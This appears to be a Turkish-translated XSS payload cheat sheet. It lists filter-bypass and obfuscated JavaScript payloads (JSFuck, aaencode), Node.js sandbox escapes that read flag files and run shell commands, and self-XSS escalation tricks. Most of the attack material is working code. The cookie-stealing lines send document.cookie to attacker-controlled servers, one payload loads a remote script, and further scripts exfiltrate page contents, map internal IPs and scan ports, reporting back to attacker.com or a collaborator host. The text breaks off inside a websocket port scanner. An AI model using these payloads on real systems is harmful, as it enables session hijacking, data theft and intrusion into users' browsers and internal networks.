onerror=eval;throw"=alert\x281\x29";
<img src=x onerror="window.onerror=eval;throw'=alert\x281\x29'">
{onerror=eval}throw"=alert(1)" //No ";"
onerror=alert //No ";" using new line
throw 1337
// Error handler + Special unicode separators
eval("onerror=\u2028alert\u2029throw 1337");
// Error handler + Comma separator
// The comma separator goes through the list and returns only the last element
var a = (1,2,3,4,5,6) // a = 6
throw onerror=alert,1337 // this is throw 1337, after setting the onerror event to alert
throw onerror=alert,1,1,1,1,1,1337
// optional exception variables inside a catch clause.
try{throw onerror=alert}catch{throw 1}


// Has instance symbol
'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}
'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}
// The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol.

Keyfi fonksiyon (alert) çağrısı

//Eval like functions
eval('ale'+'rt(1)')
setTimeout('ale'+'rt(2)');
setInterval('ale'+'rt(10)');
Function('ale'+'rt(10)')``;
[].constructor.constructor("alert(document.domain)")``
[]["constructor"]["constructor"]`$${alert()}```
import('data:text/javascript,alert(1)')

//General function executions
`` //Can be use as parenthesis
alert`document.cookie`
alert(document['cookie'])
with(document)alert(cookie)
(alert)(1)
(alert(1))in"."
a=alert,a(1)
[1].find(alert)
window['alert'](0)
parent['alert'](1)
self['alert'](2)
top['alert'](3)
this['alert'](4)
frames['alert'](5)
content['alert'](6)
[7].map(alert)
[8].find(alert)
[9].every(alert)
[10].filter(alert)
[11].findIndex(alert)
[12].forEach(alert);
top[/al/.source+/ert/.source](1)
top[8680439..toString(30)](1)
Function("ale"+"rt(1)")();
new Function`al\ert\`6\``;
Set.constructor('ale'+'rt(13)')();
Set.constructor`al\x65rt\x2814\x29```;
$='e'; x='ev'+'al'; x=this[x]; y='al'+$+'rt(1)'; y=x(y); x(y)
x='ev'+'al'; x=this[x]; y='ale'+'rt(1)'; x(x(y))
this[[]+('eva')+(/x/,new Array)+'l'](/xxx.xxx.xxx.xxx.xx/+alert(1),new Array)
globalThis[`al`+/ert/.source]`1`
this[`al`+/ert/.source]`1`
[alert][0].call(this,1)
window['a'+'l'+'e'+'r'+'t']()
window['a'+'l'+'e'+'r'+'t'].call(this,1)
top['a'+'l'+'e'+'r'+'t'].apply(this,[1])
(1,2,3,4,5,6,7,8,alert)(1)
x=alert,x(1)
[1].find(alert)
top["al"+"ert"](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
al\u0065rt`1`
top['al\145rt'](1)
top['al\x65rt'](1)
top[8680439..toString(30)](1)
<svg><animate onbegin=alert() attributeName=x></svg>

DOM zafiyetleri

JS kodu, bir saldırgan tarafından kontrol edilen güvensiz verileri kullanıyor, örneğin location.href. Bir saldırgan, bunu keyfi JS kodu çalıştırmak için kötüye kullanabilir. Açıklamanın uzatılması nedeniyle DOM zafiyetleri bu sayfaya taşındı:

DOM XSS

Orada DOM zafiyetlerinin ne olduğu, nasıl tetiklendiği ve nasıl istismar edileceği hakkında detaylı bir açıklama bulacaksınız. Ayrıca, bahsedilen yazının sonunda DOM Clobbering saldırıları hakkında bir açıklama bulmayı unutmayın.

Self-XSS'i Yükseltme

Eğer bir yükü bir çerez içinde göndererek bir XSS tetikleyebiliyorsanız, bu genellikle bir self-XSS'dir. Ancak, eğer XSS için savunmasız bir alt alan adı bulursanız, bu XSS'i kullanarak tüm alan adında bir çerez enjekte edebilir ve ana alan adında veya çerez XSS'e savunmasız diğer alt alan adlarında çerez XSS'i tetikleyebilirsiniz. Bunun için çerez atma saldırısını kullanabilirsiniz:

Cookie Tossing

Bu tekniğin harika bir kötüye kullanımını bu blog yazısında bulabilirsiniz.

Oturumunuzu yöneticilere gönderme

Belki bir kullanıcı, profilini yöneticiyle paylaşabilir ve eğer self XSS kullanıcının profilindeyse ve yönetici buna erişirse, zafiyeti tetikleyecektir.

Oturum Yansıtma

Eğer bazı self XSS bulursanız ve web sayfasında yöneticiler için oturum yansıtma varsa, örneğin müşterilerin yardım istemesine izin veriyorsa, yönetici size yardımcı olmak için sizin oturumunuzda gördüğünüzü kendi oturumundan görecektir.

Yöneticiye self XSS'inizi tetikletip çerezlerini/oturumunu çalabilirsiniz.

Diğer Atlatmalar

Normalleştirilmiş Unicode

Yansıtılan değerlerin sunucuda (veya istemci tarafında) unicode normalleştirilip normalleştirilmediğini kontrol edebilir ve bu işlevselliği korumaları atlatmak için kötüye kullanabilirsiniz. Burada bir örnek bulun.

PHP FILTER_VALIDATE_EMAIL bayrağı Atlatma

"><svg/onload=confirm(1)>"@x.y

Ruby-On-Rails bypass

RoR toplu atama nedeniyle HTML'ye alıntılar eklenir ve ardından alıntı kısıtlaması aşılır ve ek alanlar (onfocus) etiketin içine eklenebilir. Form örneği (bu rapordan), eğer yükü gönderirseniz:

contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa

"Key","Value" çifti şu şekilde geri dönecektir:

{" onfocus=javascript:alert(&#39;xss&#39;) autofocus a"=>"a"}

Sonra, onfocus niteliği eklenecek ve XSS gerçekleşecektir.

Özel kombinasyonlar

<iframe/src="data:text/html,<svg onload=alert(1)>">
<input type=image src onerror="prompt(1)">
<svg onload=alert(1)//
<img src="/" =_=" title="onerror='prompt(1)'">
<img src='1' onerror='alert(0)' <
<script x> alert(1) </script 1=2
<script x>alert('XSS')<script y>
<svg/onload=location=`javas`+`cript:ale`+`rt%2`+`81%2`+`9`;//
<svg////////onload=alert(1)>
<svg id=x;onload=alert(1)>
<svg id=`x`onload=alert(1)>
<img src=1 alt=al lang=ert onerror=top[alt+lang](0)>
<script>$=1,alert($)</script>
<script ~~~>confirm(1)</script ~~~>
<script>$=1,\u0061lert($)</script>
<</script/script><script>eval('\\u'+'0061'+'lert(1)')//</script>
<</script/script><script ~~~>\u0061lert(1)</script ~~~>
</style></scRipt><scRipt>alert(1)</scRipt>
<img src=x:prompt(eval(alt)) onerror=eval(src) alt=String.fromCharCode(88,83,83)>
<svg><x><script>alert('1'&#41</x>
<iframe src=""/srcdoc='<svg onload=alert(1)>'>
<svg><animate onbegin=alert() attributeName=x></svg>
<img/id="alert('XSS')\"/alt=\"/\"src=\"/\"onerror=eval(id)>
<img src=1 onerror="s=document.createElement('script');s.src='http://xss.rocks/xss.js';document.body.appendChild(s);">
(function(x){this[x+`ert`](1)})`al`
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
document['default'+'View'][`\u0061lert`](3)

302 yanıtında başlık enjeksiyonu ile XSS

Eğer 302 Yönlendirme yanıtında başlıkları enjekte edebildiğinizi bulursanız, tarayıcının rastgele JavaScript'i çalıştırmasını sağlamayı deneyebilirsiniz. Bu kolay değildir çünkü modern tarayıcılar, HTTP yanıt durum kodu 302 olduğunda HTTP yanıt gövdesini yorumlamaz, bu nedenle sadece bir cross-site scripting yükü işe yaramaz.

bu raporda ve şu raporda Konum başlığı içinde birkaç protokolü nasıl test edebileceğinizi ve bunlardan herhangi birinin tarayıcının gövde içindeki XSS yükünü incelemesine ve çalıştırmasına izin verip vermediğini görebilirsiniz. Geçmişte bilinen protokoller: mailto://, //x:1/, ws://, wss://, boş Konum başlığı, resource://.

Sadece Harfler, Sayılar ve Noktalar

Eğer JavaScript'in çalıştıracağı callback'i bu karakterlerle sınırlı olarak belirtebiliyorsanız. Bu gönderinin bu bölümünü okuyun bu davranışı nasıl kötüye kullanacağınızı öğrenmek için.

XSS için Geçerli <script> İçerik Türleri

(buradan alınmıştır) Eğer application/octet-stream gibi bir içerik türü ile bir script yüklemeye çalışırsanız, Chrome aşağıdaki hatayı verecektir:

https://uploader.c.hc.lc/uploads/xxx' adresinden script çalıştırmayı reddetti çünkü MIME türü (‘application/octet-stream’) çalıştırılabilir değil ve katı MIME türü kontrolü etkin.

Chrome'un yüklenmiş bir script çalıştırmasına destek verecek tek İçerik Türü'ler, https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc içindeki kSupportedJavascriptTypes sabitindeki türlerdir.

const char* const kSupportedJavascriptTypes[] = {
"application/ecmascript",
"application/javascript",
"application/x-ecmascript",
"application/x-javascript",
"text/ecmascript",
"text/javascript",
"text/javascript1.0",
"text/javascript1.1",
"text/javascript1.2",
"text/javascript1.3",
"text/javascript1.4",
"text/javascript1.5",
"text/jscript",
"text/livescript",
"text/x-ecmascript",
"text/x-javascript",
};

Script Türleri ile XSS

(From here) Peki, bir script yüklemek için hangi türler belirtilebilir?

<script type="???"></script>

Cevap şudur:

  • modül (varsayılan, açıklanacak bir şey yok)

  • webbundle: Web Bundles, bir dizi veriyi (HTML, CSS, JS…) bir araya getirip .wbn dosyasına paketleyebileceğiniz bir özelliktir.

<script type="webbundle">
{
"source": "https://example.com/dir/subresources.wbn",
"resources": ["https://example.com/dir/a.js", "https://example.com/dir/b.js", "https://example.com/dir/c.png"]
}
</script>
The resources are loaded from the source .wbn, not accessed via HTTP
  • importmap: İçe aktarma sözdizimini geliştirmeye olanak tanır

<script type="importmap">
{
"imports": {
"moment": "/node_modules/moment/src/moment.js",
"lodash": "/node_modules/lodash-es/lodash.js"
}
}
</script>

<!-- With importmap you can do the following -->
<script>
import moment from "moment";
import { partition } from "lodash";
</script>

Bu davranış, bu yazıda bir kütüphaneyi eval ile yeniden haritalamak için kullanıldı, bu da XSS tetikleyebilir.

  • speculationrules: Bu özellik esasen önceden render etmenin neden olduğu bazı sorunları çözmek içindir. Şöyle çalışır:

<script type="speculationrules">
{
"prerender": [
{"source": "list",
"urls": ["/page/2"],
"score": 0.5},
{"source": "document",
"if_href_matches": ["https://*.wikipedia.org/**"],
"if_not_selector_matches": [".restricted-section *"],
"score": 0.1}
]
}
</script>

Web İçerik Türleri ile XSS

(From here) Aşağıdaki içerik türleri tüm tarayıcılarda XSS'i çalıştırabilir:

  • text/html

  • application/xhtml+xml

  • application/xml

  • text/xml

  • image/svg+xml

  • text/plain (?? listede yok ama bunu bir CTF'de gördüğümü düşünüyorum)

  • application/rss+xml (kapalı)

  • application/atom+xml (kapalı)

Diğer tarayıcılarda diğer Content-Types kullanılarak rastgele JS çalıştırılabilir, kontrol et: https://github.com/BlackFan/content-type-research/blob/master/XSS.md

xml İçerik Türü

Eğer sayfa text/xml içerik türü döndürüyorsa, bir ad alanı belirtmek ve rastgele JS çalıştırmak mümkündür:

<xml>
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
</xml>

<!-- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 113). Kindle Edition. -->

Özel Değiştirme Desenleri

"some {{template}} data".replace("{{template}}", <user_input>) gibi bir şey kullanıldığında, saldırgan bazı korumaları aşmaya çalışmak için özel dize değiştirmeleri kullanabilir: "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))

Örneğin, bu yazıda bu, bir JSON dizesini bir script içinde kaçırmak ve rastgele kod çalıştırmak için kullanıldı.

Chrome Önbelleği ile XSS

Chrome Cache to XSS

XS Jails Kaçışı

Kullanmak için yalnızca sınırlı bir karakter setiniz varsa, XSJail sorunları için bu diğer geçerli çözümleri kontrol edin:

// eval + unescape + regex
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequire(%27repl%27)%2estart()%22)()%2f/))

// use of with
with(console)log(123)
with(/console.log(1)/)with(this)with(constructor)constructor(source)()
// Just replace console.log(1) to the real code, the code we want to run is:
//return String(process.mainModule.require('fs').readFileSync('flag.txt'))

with(process)with(mainModule)with(require('fs'))return(String(readFileSync('flag.txt')))
with(k='fs',n='flag.txt',process)with(mainModule)with(require(k))return(String(readFileSync(n)))
with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n)))

//Final solution
with(
/with(String)
with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)
with(mainModule)
with(require(k))
return(String(readFileSync(n)))
/)
with(this)
with(constructor)
constructor(source)()

// For more uses of with go to challenge misc/CaaSio PSE in
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE

Eğer her şey tanımsızsa güvenilmeyen kodu çalıştırmadan önce (örneğin bu yazıda) yararlı nesneleri "hiçbir şeyden" oluşturmak mümkündür ve bu, keyfi güvenilmeyen kodun çalıştırılmasını istismar etmek için kullanılabilir:

  • import() kullanarak

// although import "fs" doesn’t work, import('fs') does.
import("fs").then(m=>console.log(m.readFileSync("/flag.txt", "utf8")))
  • require'a dolaylı erişim

Buna göre modüller Node.js tarafından bir fonksiyon içinde sarılır, şöyle:

(function (exports, require, module, __filename, __dirname) {
// our actual module code
});

Bu nedenle, eğer o modülden başka bir fonksiyonu çağırabiliyorsak, o fonksiyondan require erişmek için arguments.callee.caller.arguments[1] kullanmak mümkündür:

(function(){return arguments.callee.caller.arguments[1]("fs").readFileSync("/flag.txt", "utf8")})()

Önceki örnekteki gibi, hata işleyicilerini kullanarak modülün wrapper'ına erişmek ve require fonksiyonunu almak mümkündür:

try {
null.f()
} catch (e) {
TypeError = e.constructor
}
Object = {}.constructor
String = ''.constructor
Error = TypeError.prototype.__proto__.constructor
function CustomError() {
const oldStackTrace = Error.prepareStackTrace
try {
Error.prepareStackTrace = (err, structuredStackTrace) => structuredStackTrace
Error.captureStackTrace(this)
this.stack
} finally {
Error.prepareStackTrace = oldStackTrace
}
}
function trigger() {
const err = new CustomError()
console.log(err.stack[0])
for (const x of err.stack) {
// use x.getFunction() to get the upper function, which is the one that Node.js adds a wrapper to, and then use arugments to get the parameter
const fn = x.getFunction()
console.log(String(fn).slice(0, 200))
console.log(fn?.arguments)
console.log('='.repeat(40))
if ((args = fn?.arguments)?.length > 0) {
req = args[1]
console.log(req('child_process').execSync('id').toString())
}
}
}
trigger()

Obfuscation & Advanced Bypass

//Katana
<script>([,ウ,,,,ア]=[]+{},[ネ,ホ,ヌ,セ,,ミ,ハ,ヘ,,,ナ]=[!!ウ]+!ウ+ウ.ウ)[ツ=ア+ウ+ナ+ヘ+ネ+ホ+ヌ+ア+ネ+ウ+ホ][ツ](ミ+ハ+セ+ホ+ネ+'(-~ウ)')()</script>
//JJencode
<script>$=~[];$={___:++$,$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$:({}+"")[$],$_$:($[$]+"")[$],_$:++$,$_:(!""+"")[$],$__:++$,$_$:++$,$__:({}+"")[$],$_:++$,$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$=($.$+"")[$.__$])+((!$)+"")[$._$]+($.__=$.$_[$.$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$=$.$+(!""+"")[$._$]+$.__+$._+$.$+$.$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$+"\""+$.$_$_+(![]+"")[$._$_]+$.$_+"\\"+$.__$+$.$_+$._$_+$.__+"("+$.___+")"+"\"")())();</script>
//JSFuck
<script>(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()</script>
//aaencode
゚ω゚ノ= /`m´)ノ ~┻━┻   //*´∇`*/ ['_']; o=(゚ー゚)  =_=3; c=(゚Θ゚) =(゚ー゚)-(゚ー゚); (゚Д゚) =(゚Θ゚)= (o^_^o)/ (o^_^o);(゚Д゚)={゚Θ゚: '_' ,゚ω゚ノ : ((゚ω゚ノ==3) +'_') [゚Θ゚] ,゚ー゚ノ :(゚ω゚ノ+ '_')[o^_^o -(゚Θ゚)] ,゚Д゚ノ:((゚ー゚==3) +'_')[゚ー゚] }; (゚Д゚) [゚Θ゚] =((゚ω゚ノ==3) +'_') [c^_^o];(゚Д゚) ['c'] = ((゚Д゚)+'_') [ (゚ー゚)+(゚ー゚)-(゚Θ゚) ];(゚Д゚) ['o'] = ((゚Д゚)+'_') [゚Θ゚];(゚o゚)=(゚Д゚) ['c']+(゚Д゚) ['o']+(゚ω゚ノ +'_')[゚Θ゚]+ ((゚ω゚ノ==3) +'_') [゚ー゚] + ((゚Д゚) +'_') [(゚ー゚)+(゚ー゚)]+ ((゚ー゚==3) +'_') [゚Θ゚]+((゚ー゚==3) +'_') [(゚ー゚) - (゚Θ゚)]+(゚Д゚) ['c']+((゚Д゚)+'_') [(゚ー゚)+(゚ー゚)]+ (゚Д゚) ['o']+((゚ー゚==3) +'_') [゚Θ゚];(゚Д゚) ['_'] =(o^_^o) [゚o゚] [゚o゚];(゚ε゚)=((゚ー゚==3) +'_') [゚Θ゚]+ (゚Д゚) .゚Д゚ノ+((゚Д゚)+'_') [(゚ー゚) + (゚ー゚)]+((゚ー゚==3) +'_') [o^_^o -゚Θ゚]+((゚ー゚==3) +'_') [゚Θ゚]+ (゚ω゚ノ +'_') [゚Θ゚]; (゚ー゚)+=(゚Θ゚); (゚Д゚)[゚ε゚]='\\'; (゚Д゚).゚Θ゚ノ=(゚Д゚+ ゚ー゚)[o^_^o -(゚Θ゚)];(o゚ー゚o)=(゚ω゚ノ +'_')[c^_^o];(゚Д゚) [゚o゚]='\"';(゚Д゚) ['_'] ( (゚Д゚) ['_'] (゚ε゚+(゚Д゚)[゚o゚]+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚o゚]) (゚Θ゚)) ('_');
// It's also possible to execute JS code only with the chars: []`+!${}

XSS yaygın yükler

1'de Birkaç Yük

Steal Info JS

Iframe Tuzağı

Kullanıcının bir iframe'den çıkmadan sayfada gezinmesini sağlamak ve eylemlerini çalmak (formlarda gönderilen bilgiler dahil):

Iframe Traps

Çerezleri Al

<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
<img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
<script>new Image().src="http://<IP>/?c="+encodeURI(document.cookie);</script>
<script>new Audio().src="http://<IP>/?c="+escape(document.cookie);</script>
<script>location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.write('<img src="http://<YOUR_SERVER_IP>?c='+document.cookie+'" />')</script>
<script>window.location.assign('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['assign']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['href']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>document.location=["http://<YOUR_SERVER_IP>?c",document.cookie].join()</script>
<script>var i=new Image();i.src="http://<YOUR_SERVER_IP>/?c="+document.cookie</script>
<script>window.location="https://<SERVER_IP>/?c=".concat(document.cookie)</script>
<script>var xhttp=new XMLHttpRequest();xhttp.open("GET", "http://<SERVER_IP>/?c="%2Bdocument.cookie, true);xhttp.send();</script>
<script>eval(atob('ZG9jdW1lbnQud3JpdGUoIjxpbWcgc3JjPSdodHRwczovLzxTRVJWRVJfSVA+P2M9IisgZG9jdW1lbnQuY29va2llICsiJyAvPiIp'));</script>
<script>fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net', {method: 'POST', mode: 'no-cors', body:document.cookie});</script>
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>

Eğer çerezde HTTPOnly bayrağı ayarlandıysa, JavaScript'ten çerezlere erişemeyeceksiniz. Ama burada bu korumayı aşmanın bazı yolları var, eğer şanslıysanız.

Sayfa İçeriğini Çalmak

var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8";
var attacker = "http://10.10.14.8/exfil";
var xhr  = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
}
}
xhr.open('GET', url, true);
xhr.send(null);

İç IP'leri Bulun

<script>
var q = []
var collaboratorURL = 'http://5ntrut4mpce548i2yppn9jk1fsli97.burpcollaborator.net';
var wait = 2000
var n_threads = 51

// Prepare the fetchUrl functions to access all the possible
for(i=1;i<=255;i++){
q.push(
function(url){
return function(){
fetchUrl(url, wait);
}
}('http://192.168.0.'+i+':8080'));
}

// Launch n_threads threads that are going to be calling fetchUrl until there is no more functions in q
for(i=1; i<=n_threads; i++){
if(q.length) q.shift()();
}

function fetchUrl(url, wait){
console.log(url)
var controller = new AbortController(), signal = controller.signal;
fetch(url, {signal}).then(r=>r.text().then(text=>
{
location = collaboratorURL + '?ip='+url.replace(/^http:\/\//,'')+'&code='+encodeURIComponent(text)+'&'+Date.now()
}
))
.catch(e => {
if(!String(e).includes("The user aborted a request") && q.length) {
q.shift()();
}
});

setTimeout(x=>{
controller.abort();
if(q.length) {
q.shift()();
}
}, wait);
}
</script>

Port Scanner (fetch)

const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }

Port Scanner (websockets)

var ports = [80, 443, 445, 554, 3306, 3690, 1234];
for(var i=0; i<ports.length; i++) {
var s = new WebSocket("wss://192.168.1.1:" + ports[i]);
